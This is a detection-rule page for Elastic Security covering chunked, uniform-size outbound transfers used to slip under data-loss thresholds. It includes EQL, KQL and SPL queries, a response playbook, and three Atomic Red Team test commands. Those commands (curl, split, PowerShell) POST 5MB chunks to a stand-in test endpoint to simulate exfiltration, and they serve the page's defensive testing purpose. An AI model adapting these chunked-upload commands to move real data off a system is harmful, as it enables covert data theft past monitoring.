THREAT-ChunkedTransfer-UniformSizeExfil Elastic Security · Elastic

Detect Chunked Uniform-Size Outbound Transfers Evading Data-Loss Size Thresholds in Elastic Security

Adversaries frequently cap the size of individual outbound transfers below the thresholds monitored by DLP tools and network-anomaly alerting, splitting stolen data into fixed-size chunks (via archive volume flags, chunker overlays, or C2 implants with fixed send-buffer sizes) rather than moving it in one large transfer that would trip a volumetric alert. The df00tech parent T1030 detection covers this from the endpoint side — process creation for splitting tools and file creation for sequentially numbered archive parts — but that visibility disappears when the chunking happens at the C2/network layer with no local file artifacts (e.g., a custom implant that reads data in-memory and streams it out in fixed-size sends, or a chunking client running on infrastructure with no EDR). This detection is a network-flow complement: it looks for repeated connections from a single source to a single destination within a short window whose transferred byte counts cluster tightly around a common size, which is the flow-level fingerprint of deliberate chunking regardless of what generated the chunks. APT28 has used implants with configurable fixed send-buffer sizes to blend exfiltration into normal traffic patterns. LuminousMoth has staged and transferred stolen files in bounded-size increments to evade size-based network alerting. Play ransomware operators and China-nexus actors historically tracked as Threat Group-3390 have both been observed splitting staged archives into equal-sized volumes prior to transfer specifically to stay under egress monitoring thresholds.

MITRE ATT&CK

Tactic
Exfiltration

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by source.ip, destination.ip with maxspan=15m
  [network where event.dataset == "network_traffic.flow" and network.bytes > 1048576 and network.bytes < 104857600]
  [network where event.dataset == "network_traffic.flow" and network.bytes > 1048576 and network.bytes < 104857600]
  [network where event.dataset == "network_traffic.flow" and network.bytes > 1048576 and network.bytes < 104857600]
medium severity medium confidence

Detects a coarse version of the chunked-transfer pattern using ECS network flow fields (network.bytes, source.ip, destination.ip): three or more flow records between the same source/destination pair within 15 minutes, each falling inside a plausible chunk-size band. This EQL sequence is a first-pass filter; it does not compute byte-size variance the way the KQL/SPL variants do, so pair it with a follow-on aggregation (or use those variants directly) before alerting, since three same-band flows alone is weaker evidence than the tight-variance clustering check.

Data Sources

Elastic Agent Network Packet Capture integrationPacketbeat flow moduleFirewall/NGFW logs forwarded via Filebeat and mapped to network_traffic.flow

Required Tables

logs-network_traffic.flow-*packetbeat-*

False Positives & Tuning

  • Cloud storage multipart uploads from approved backup/sync clients
  • Streaming/video conferencing traffic producing similar-sized flow records
  • Scheduled patch/update distribution transferring fixed-size content blocks

Other platforms for THREAT-ChunkedTransfer-UniformSizeExfil

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate Chunked Exfiltration via curl on Linux

    Expected signal: Firewall/proxy flow logs showing 10 outbound connections from the test host to the test endpoint, each with SentBytes/bytes_sent near 5MB, within roughly a 60-90 second span.

  2. Test 2 Simulate Chunked Exfiltration via PowerShell on Windows

    Expected signal: Firewall/proxy flow logs (or DeviceNetworkEvents if endpoint network telemetry is also collected) showing 10 outbound POST connections of approximately 5MB each to the test endpoint.

  3. Test 3 Simulate Chunked Exfiltration via split and curl on macOS

    Expected signal: Proxy/firewall logs recording 10 outbound POST connections of approximately 5MB each to the test endpoint within a short window.

Last updated: 2026-09-12 Research depth: deep
References (2)

Response Playbook

Triage

  1. Check destination IP/domain reputation and ownership (WHOIS, passive DNS, threat intel) — is it known cloud storage, a CDN, or an unfamiliar external host with no business relationship?
  2. Pull the full list of connection timestamps and per-connection byte sizes for the source/destination pair to confirm the uniformity is deliberate and not a coincidental clustering of unrelated small requests.
  3. Identify the source process, service account, or user session that initiated the connections — correlate with endpoint process telemetry if EDR is present on the source host.
  4. Check whether the destination is an approved/sanctioned cloud storage tenant or CDN in your CASB/SaaS inventory versus an unsanctioned or personal endpoint.

Containment

  1. Block the destination IP/domain at the firewall or proxy once confirmed to be attacker-controlled or unsanctioned.
  2. Isolate the source host via EDR if the chunked transfer is corroborated by other compromise indicators (e.g., recent credential access, staging activity, or a known malicious initiating process).
  3. Rotate/revoke any credentials or API tokens used by the initiating process or service account if the destination is confirmed malicious.

Evidence Collection

  1. Full flow/session logs (timestamps, byte counts, ports, protocol) for the source-destination pair across the entire suspected transfer window
  2. Endpoint process execution and file-access telemetry for the initiating host around the same window, to identify what read the data prior to transfer
  3. Cloud provider access/audit logs (e.g., S3 access logs, Azure Storage diagnostic logs) if the destination is a cloud storage multipart-upload endpoint, to correlate object part-upload events with the flow-level chunk count

Escalation Criteria

  • !The destination has no legitimate business relationship, is newly registered, or has no reputation history
  • !The aggregated transfer volume across all chunks (TotalSentBytes) represents a meaningful data-loss estimate (e.g., multi-gigabyte)
  • !The source host or account also shows collection-phase or credential-access indicators in the same time window

Investigation Guide

Related Techniques

T1030 — Data Transfer Size Limits: parent technique; this detection is a network-flow-based complement to its process/file-creation-based endpoint coverageT1029 — Scheduled Transfer: chunked transfers are frequently scheduled at regular intervals to blend the chunk cadence into routine business trafficT1041 — Exfiltration Over C2 Channel: C2 frameworks with fixed send-buffer sizes chunk data as an inherent part of the C2 protocol itselfT1567.002 — Exfiltration to Cloud Storage: legitimate cloud storage multipart-upload APIs are a common, hard-to-block vehicle for size-limited chunking

Forensic Artifacts

  • >Firewall/proxy flow logs showing per-connection byte counts and precise timestamps for the source-destination pair
  • >Full packet capture of a sample connection, to confirm the payload structure or encoding is consistent with intentional chunking rather than protocol overhead
  • >Endpoint process execution logs (if EDR is present) for a chunking utility, scripting client, or the process that opened the outbound sockets
  • >Cloud provider object-storage access logs to correlate multipart-upload part events with the observed network-flow chunk count, when the destination is a cloud storage endpoint

Tuning Guidance

Start by baselining your environment's legitimate high-frequency, uniform-size flows (scheduled backup jobs, cloud sync clients, CDN/health-check traffic) over at least a week using the hunting query above, and build an explicit destination allowlist before enabling this as an alerting rule — without it, the detection will be noisy. Set MinChunkBytes/MaxChunkBytes to sit just under whatever size ceiling your DLP or network-anomaly tooling actually alerts on, since adversaries using this technique are specifically calibrating chunk size to slip under that exact threshold; a generic default band is a starting point, not a final tuning value. Consider correlating with the endpoint-side parent T1030 detection (splitting-tool process creation, sequential chunk-file creation) — concurrent hits on both are high-confidence, while a flow-only hit with no endpoint corroboration may simply be a sanctioned cloud service you haven't allowlisted yet.

Hunting Queries

Hunt over 7 days for any source/destination pair with an unusually high count of connections and low byte-size variance — establishes a baseline of legitimate high-frequency uniform-size traffic (backup windows, cloud sync schedules, CDN health checks) to allowlist before enabling the tighter 15-minute detection as a blocking alert.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where isnotempty(SentBytes) and SentBytes > 0
| summarize ConnectionCount = count(), MinSentBytes = min(SentBytes), MaxSentBytes = max(SentBytes) by SourceIP, DestinationIP, bin(TimeGenerated, 1d)
| where ConnectionCount >= 20
| extend SizeVariancePct = todouble(MaxSentBytes - MinSentBytes) / todouble(MaxSentBytes) * 100
| where SizeVariancePct <= 15
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=firewall sourcetype=pan:traffic bytes_sent>0 earliest=-7d
| bucket _time span=1d
| stats count AS ConnectionCount, min(bytes_sent) AS MinSentBytes, max(bytes_sent) AS MaxSentBytes BY src_ip, dest_ip, _time
| where ConnectionCount >= 20
| eval SizeVariancePct = round((MaxSentBytes-MinSentBytes)/MaxSentBytes*100, 2)
| where SizeVariancePct <= 15
| sort - ConnectionCount

Atomic Red Team Tests

Test 1 Simulate Chunked Exfiltration via curl on Linux
linux

Splits a block of random data into ten 5MB chunks and POSTs each to a test endpoint with a short delay between uploads, simulating C2/network-layer chunking with no local archive-file artifacts.

Command

bash 
for i in $(seq 1 10); do head -c 5242880 /dev/urandom > /tmp/chunk_$i.bin; curl -s -X POST --data-binary @/tmp/chunk_$i.bin https://your-test-endpoint.example/upload; sleep 5; done

Cleanup

bash 
rm -f /tmp/chunk_*.bin

Expected Telemetry

Firewall/proxy flow logs showing 10 outbound connections from the test host to the test endpoint, each with SentBytes/bytes_sent near 5MB, within roughly a 60-90 second span.

Expected Detection

Alert fires once ConnectionCount >= 8 and SizeVariancePct <= 10 thresholds are met for the source/destination pair within the 15-minute bucket.

Test 2 Simulate Chunked Exfiltration via PowerShell on Windows
windows

Uses PowerShell to generate and POST ten 5MB in-memory random byte arrays to a test endpoint, simulating a C2 implant with a fixed send-buffer size and no on-disk chunk files.

Command

powershell 
1..10 | ForEach-Object { $bytes = New-Object byte[] 5242880; (New-Object Random).NextBytes($bytes); Invoke-WebRequest -Uri 'https://your-test-endpoint.example/upload' -Method Post -Body $bytes -UseBasicParsing; Start-Sleep -Seconds 5 }

Cleanup

powershell 
No persistent artifacts are written to disk; simply close the PowerShell session.

Expected Telemetry

Firewall/proxy flow logs (or DeviceNetworkEvents if endpoint network telemetry is also collected) showing 10 outbound POST connections of approximately 5MB each to the test endpoint.

Expected Detection

Alert fires on the network-flow uniform-size clustering detection once the connection-count and variance thresholds are exceeded for the source/destination pair.

Test 3 Simulate Chunked Exfiltration via split and curl on macOS
macos

Creates a 50MB test file, splits it into 5MB parts on disk using the split utility, and uploads each part sequentially, simulating an archive-splitting workflow that transfers each volume as it is created.

Command

bash 
dd if=/dev/urandom of=/tmp/testfile bs=1m count=50 && split -b 5m /tmp/testfile /tmp/chunk_ && for f in /tmp/chunk_*; do curl -s -X POST --data-binary @$f https://your-test-endpoint.example/upload; sleep 5; done

Cleanup

bash 
rm -f /tmp/testfile /tmp/chunk_*

Expected Telemetry

Proxy/firewall logs recording 10 outbound POST connections of approximately 5MB each to the test endpoint within a short window.

Expected Detection

Alert fires on the network-flow uniform-size clustering detection once ConnectionCount and SizeVariancePct thresholds are exceeded for the source/destination pair.

Related Detections

Tactic Hub

TA0010 Exfiltration ATT&CK Matrix

Detection Variants (4)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1030 Data Transfer Size Limits

Related Techniques

T1030 Data Transfer Size Limits T1029 Scheduled Transfer T1041 Exfiltration Over C2 Channel T1567.002 Exfiltration to Cloud Storage

Same Tactic: Exfiltration

Popular Detections